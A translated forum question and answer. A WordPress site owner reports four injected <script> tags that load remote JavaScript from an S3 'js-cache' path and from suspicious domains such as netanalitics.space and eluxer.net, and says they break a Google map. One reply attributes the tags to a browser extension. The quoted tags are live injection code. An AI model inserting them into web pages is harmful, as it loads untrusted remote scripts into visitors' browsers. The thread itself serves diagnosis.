Strange virus on WordPress site?

Question

HTML

Good day!
Recently, a strange "virus" appeared on the site. Which adds the following scripts to the end of the article:

<script src="//s3.amazonaws.com/js-cache/145f309ae16975ba1c.js"></script>
<script src="http://netanalitics.space/addons/lnkr5.min.js" type="text/javascript"></script>
<script src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51859x5215x&amp;r=47" type="text/javascript"></script>
<script src="http://eluxer.net/code?id=105&amp;subid=51859_5215_" type="text/javascript"></script>

And because of this, the google map has ceased to be displayed on the contact page.
Moreover, this line is written on each line at the end of the document:

<script src="//s3.amazonaws.com/js-cache/145f309ae16975ba1c.js"></script>

but it is not visible through the WordPress admin panel, and downloading all the site files and checking them through Total Commander for a match did not give any results. In base deleted all lines with such coincidence - too did not help.
The virus scan turned up nothing. "Left" plugins are not installed.
Sometimes an error appears in the console that indicates an error in the same script, which is constantly displayed in the console many times the same:

<script src="//s3.amazonaws.com/js-cache/145f309ae16975ba1c.js"></script>

I can't provide a screenshot because I don't have it right now.
Moreover, the google map is not displayed only in Chrome and Opera, but in FireFox everything works fine.
What do you advise?

Answer 5

In my case, this is how the browser extension behaved. Just turning it off is enough. That is, probably, the problem is local and on the client side. Or, a similar mechanism is sewn into a template or some of the scripts
